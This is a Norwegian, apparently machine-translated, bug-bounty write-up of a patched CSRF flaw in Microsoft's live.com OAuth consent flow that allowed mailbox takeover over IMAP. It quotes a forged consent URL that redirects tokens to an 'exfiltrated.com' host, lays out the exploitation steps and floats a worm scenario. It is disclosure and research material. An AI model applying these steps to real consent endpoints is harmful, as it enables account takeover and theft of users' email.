På Synack nyter vi virkelig gode sårbarheter, enten i web, mobil, vert eller til og med i helt opprørende enheter og systemer (satellitt hacking noen?). Men vi holder alltid de store funnene som vi og SRT har gjort for våre kunder konfidensielt. Så selv om dette ikke vil være et innlegg om en stor vuln i En Synack-kunde, dekker den den eksakte typen ting vi ser på ukentlig eller noen ganger daglig: et sårbarhet i et system med millioner av brukere som fører til et komplett kompromiss med systemsikkerhet.

jeg har nylig funnet et sikkerhetsproblem I Microsofts Live.com autentiseringssystem, som, hvis Du har en konto Med Noen Microsoft-tjeneste, sannsynligvis ville ha påvirket deg. Dette innlegget beskriver alle detaljer om sikkerhetsproblemet nå Som Microsoft har lappet problemet.

Innledning

den gjennomsnittlige personens forståelse av datasikkerhet har alltid vært ganske begrenset. Tilbake på dagen, hvis noen hørte at du var involvert i datasikkerhet, ville standardspørsmålet være «kan du hacke Min Hotmail», eller oftere, «kan du hacke min venns Hotmail». Jeg antar at folk i dag fortsatt brukte Yahoo mail, Og Microsoft hadde ennå ikke kjøpt Hotmail, men det er litt for langt tilbake! Uunngåelig vil du enten foreslå at personen bare gjette personens passord reset spørsmål, eller installere Sub7. Faktisk hacking Hotmail var bundet til å være for vanskelig, for ikke å nevne helt ulovlig.

informasjonssikkerhetsverdenen har endret seg mye de siste par årene, Og I motsetning til tidligere år oppfordrer Microsoft nå sikkerhetsforskere til å forsøke å «hacke Hotmail». Selvfølgelig Har Hotmail blitt omgjort Til Outlook.com, og i disse dager alle ønsker å vite om du kan hacke Deres Facebook, men det er ikke poenget.

microsoft Online Services bounty-programmet ble nylig oppdatert for å inkludere «Microsoft-Konto» som et mål, som i utgangspunktet er innloggingssystemene som er vert for hvert av disse domenene:
– login.windows.net
– login.microsoftonline.com
– login.live.com

i listen ovenfor, login.live.com er autentiseringssystemet du vil gå gjennom hvis du prøver å godkjenne til Outlook.com og et stort antall Andre Microsoft-tjenester. Jeg bestemte meg for å undersøke det først for å se om jeg kunne oppdage noen problemer. Som forventet syntes DE ulike API-ene som ble brukt til å behandle en pålogging å være godt herdet. Flere lag med beskyttelse eksisterte mange steder; for eksempel er passord kryptert med en offentlig nøkkel før overføring til tross for all kommunikasjon som foregår OVER HTTPS.

etter å ha testet I noen timer, oppdaget jeg noen mindre problemer som jeg rapporterte, men ingenting virkelig av notatet. Når jeg tester webapplikasjoner, finner jeg ofte at den vanligste arbeidsflyten også er den sikreste, så jeg forgrenet meg for å undersøke andre måter som en bruker kunne godkjenne til live.com system. For nesten et år siden hadde jeg funnet flere oauth-sårbarheter I Yammer, som også var Et Microsoft Online Services bounty-mål, så det var der jeg så neste for live.com. det er her de interessante funnene starter!

Sårbarhetsbakgrunn

før jeg kommer rett inn i sårbarheten oppdaget, er det nødvendig med en rask oversikt over det misforståtte sikkerhetssystemet Kjent Som OAuth:

Wikipedia forteller Meg at «OAuth gir klientprogrammer en» sikker delegert tilgang «til serverressurser på vegne av en ressurseier». Wikipedia har også noen bitende kommentarer om utviklingen og sikkerheten, som er verdt å lese for en god latter. Realistisk, Alt OAuth gjør er å tillate en bruker å gi tilgang til noen eller alle av deres konto tilgang til en tredjepart. JEG laget EN MS Paint tegning for å illustrere dette fordi Jeg ikke kunne finne en flott på Wikipedia.

Som det fremgår av bildet ovenfor, har Du En Server Som Brukeren har autorisert til å gi tilgang til kontoen sin Til En Klientapp. Mekanismen som håndterer dette bak kulissene kan bygges på flere forskjellige måter, som er definert I OAuth RFC. En måte å bygge den på er en «implisitt» autentiseringsflyt, som innebærer at godkjenningsserveren gir en tilgangsnøkkel direkte til klienten. En annen populær måte er å bruke en» autorisasjonskode » – prosedyre, der autentiseringsserveren gir ut en autorisasjonskode, som klientsystemet tar, og deretter utveksler for en tilgangsnøkkel ved hjelp av sin klientens hemmelige verdi. Microsoft har en god beskrivelse av deres bruk av hvordan de har implementert disse mekanismene for live.com her:
https://msdn.microsoft.com/en-us/library/hh243647.aspx

grafikken de laget for» autorisasjonskode » – strømmen ser slik ut:

et bilde som det er flott for å forstå prosessen, men for meg som en penn-tester viser også mange muligheter og steder for ting å gå galt. Så med det som bakgrunn, på hva som ble oppdaget!

Hva Kan Gå Galt?

som nevnt i avsnittet ovenfor, er det mange steder at noe kan gå galt. En av de grunnleggende trinnene I oauth-godkjenningsprosedyren er at en bruker velger å gi tilgang til et program. Dette oppnås vanligvis gjennom en rask som dette:

Vanligvis trenger en bruker bare å godta denne meldingen en gang, men til de aksepterer det, vil den appen ikke ha tilgang til kontoen sin(om den gjennomsnittlige brukeren vil tillate Wes ‘ Onde App å få tilgang, er kanskje et annet spørsmål!).

Tenk som en angriper, det ville definitivt være flott hvis vi kunne godta forespørselen på vegne av brukeren. Dessverre for meg ble» X-Frame-Options «header satt til «deny» (x-frame-options-innstillingene var også ute av rekkevidde for denne bounty). Så mens clickjacking er ute, bestemte jeg meg for å få en bedre forståelse av hvordan forespørselen selv fungerte. Hvis en bruker klikker «Ja», ER følgende forespørsel POST ‘ ed til serveren (pluss noen kjedelige overskrifter):

MENS URL-banen ovenfor inneholder noen genererte tokens, viste testing at de var unødvendige for at forespørselen skulle lykkes. ET INNLEGG til FØLGENDE URL ville fungere like bra:

https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26scope%3dwl.grunnleggende%26response_type%3dcode%26redirect_uri%3dhttp:// exfiltrated.com& client_id=000000004c15e107 & rd=eksfiltrert.com& omfang = wl.basic

informasjonskapselen som sendes med forespørselen som trengs for å inneholde et gyldig sesjonstoken i «IPT». Denne informasjonskapselverdien er befolket avhttps: / / login. live. com / oauth20_authorize.srf før siden som ber brukeren om tillatelse, vises. Dette skjer uansett om en bruker til slutt klikker «Ja», selv om den er satt av Noen Javascript-kode, så hvis vi angriper denne prosessen, må vi tvinge brukeren til å laste den siden på et tidspunkt.

hvis du følger med, spør du forhåpentligvis nå: «OK, så hva med POSTFORESPØRSELEN selv,og den kanariske verdien ?». Jeg hadde undersøkt alle de andre parametrene og kommunikasjonsflyten først, da det å se en verdi merket «canary» blir sendt med EN POSTFORESPØRSEL, betyr nesten helt sikkert at den blir brukt som et token for å forhindre CSRF-angrep. Poenget med sikkerhetstesting er imidlertid å verifisere at antagelser faktisk er riktige. Så jeg endret POSTFORESPØRSELEN, og endret canary-verdien til «hacks_go_here». I stedet for å omdirigere til en 500-feil, sendte serveren tilbake et positivt svar!

CSRF Til PoC

Siden CSRF-token var det siste jeg hadde prøvd å tukle med, visste jeg sikkert at dette skulle gjøre for et gyldig csrf-sårbarhet. Som med nesten ALLE csrf-angrep var den eneste forutsetningen at offeret var logget inn, og hadde et gyldig sesjonstoken i informasjonskapselen. I motsetning til mange andre sårbarheter på nettet, er virkningen AV et csrf-sårbarhet helt avhengig AV DEN berørte API-funksjonen. Denne CSRF lar meg omgå brukerinteraksjonstrinnet I oauth-autentiseringssystemet, men En PoC er verdt tusen ord, så neste skritt var å bygge litt kode for å demonstrere effekten av dette sikkerhetsproblemet på riktig måte.

i den normale oauth-godkjenningsflyten, etter at brukeren gir tilgang, skal serveren returnere en tilgangskode til brukeren. Brukeren sender det til klientprogrammet, som deretter kan bruke de tildelte tillatelsene. A live.com klientprogrammet kan be om et bredt spekter av mulige tillatelser. Jeg vurderte bare å dumpe brukerens kontakter eller noe sånt, men hvorfor ofre på målet om hacking Hotmail nå? Tillatelsene Min PoC trengte da var:

wl.offline_access + wl.imap

Offline var ikke alt som var nødvendig, men jeg kastet det inn for å vise at det ville bli gitt.

med de nødvendige tillatelsene valgt, er det 4 trinn for å få tilgang til en brukers e-postkonto:

1) Vi må gjøre en autorisasjonsforespørsel for vår klientapp ved hjelp av tillatelsene ovenfor. Serveren vil be brukeren om å godta eller nekte.
2) når en bruker aksepterer vår forespørsel om disse tillatelsene, vil serveren legge til en» # access_token=<token> » parameter til omdirigeringen som vi instruerer den til å ta.
3) Siden våre serverside skript trenger tilgang til den verdien, må vi lage en enkel side for å ta token fra nettleserens URL-felt og sende den til vår server.
4) Til slutt trenger vi noen skript server side for å ta det token, og bruke den til å logge PÅ IMAP. Microsoft har en noe innviklet prosess for å bruke OAuth-token til å logge inn direkte via IMAP. Noen få utvalgsbiblioteker eksisterer for dette, og hele prosessen er beskrevet på denne siden:
https://msdn.microsoft.com/en-us/library/dn440163.aspx

at arbeidsflyten ville fungere fint forutsatt at brukeren velger å gi oss tillatelse. Jeg trenger nå bare å endre arbeidsflyten for å i stedet inkludere CSRF. Som nevnt tidligere, live.com autentiseringsserver vil forvente et sesjonstoken i IPT-informasjonskapselen. Vi kan sikre at er befolket ved først å sende brukeren til en validhttps: / / login.live.com/oauth20_authorize. srf side. Umiddelbart etter kan VI utføre csrf-forespørselen som vil gjøre bruk av den nylig befolkede informasjonskapselverdien. Dette kan nå erstatte trinn 1 og tvinge serveren til å umiddelbart hoppe til trinn 2.

Demo Og Impact

Microsoft har nå løst dette problemet, men her er en rask video som viser den i aksjon.

som kan sees i videoen, er alt som er virkelig nødvendig å få offeret til å besøke skadelig websiden. Demoen var ikke designet for å være sleipe og kjøre i bakgrunnen av et nettsted, eller som en del av noen ondsinnet banner annonse, men det sikkert kunne ha blitt gjort på den måten.

Å Bruke dette som et målrettet angrep har definitivt stor innvirkning, men dette er også den perfekte typen sårbarhet for å bli en orm. MED IMAP og kontaktboktilgang kan en orm enkelt sende e-post til alle brukerens kontakter (eller i det minste de som bruker Hotmail, Outlook.com, etc), med noe fristende,» ILOVEYOU » virus stil, og spre seg til hver bruker som klikker på linken.

Siste Tanker Og Tidslinje

Jakt på dette sikkerhetsproblemet og å lage en fungerende PoC involverte en god del innsats å grave gjennom de ulike live.com API-ER. Ser tilbake på det hele, men dette er egentlig bare et klassisk csrf-sårbarhet. Det eneste som er overraskende om det er at det er i et kritisk autentiseringssystem som til slutt kan brukes til å overta brukerens konto.

som en ekstern tester har jeg ingen anelse om hvor lenge dette sikkerhetsproblemet kan ha eksistert, eller om noen noen gang prøvde å utnytte det. Samtidig er det funn som dette som definitivt viser verdien av å tillate eksterne testere å sende sårbarheter til din bedrift før angripere utnytter dem mot deg. Microsoft er langt foran de fleste selskaper når det gjelder sikkerhet, og likevel er det fortsatt mulig å løse problemer som denne. Synacks erfaring har vært at sårbarheter blir avdekket selv i tilsynelatende godt sikrede systemer når en stor gruppe utenforstående forskere tester det systemet. Det er i hovedsak premisset Som Synack opererer på, og det er derfor flere og flere selskaper tilbyr sine egne bounty-programmer (jeg vil selvfølgelig anbefale Synacks program over å kjøre ditt eget!).

Som det fremgår av tidslinjen nedenfor, Var Microsoft lydhør for å få en løsning på dette problemet, noe Som var flott å se.

Tidslinje:
23. August 2015: Sikkerhetsproblem oppdaget
25. August 2015: Sikkerhetsproblem rapportert Til Microsoft
31. August 2015: microsoft issues saksnummer for sikkerhetsproblem
15. September 2015: microsoft releases fix for issue, issues $24 000 bounty (double bounties promo)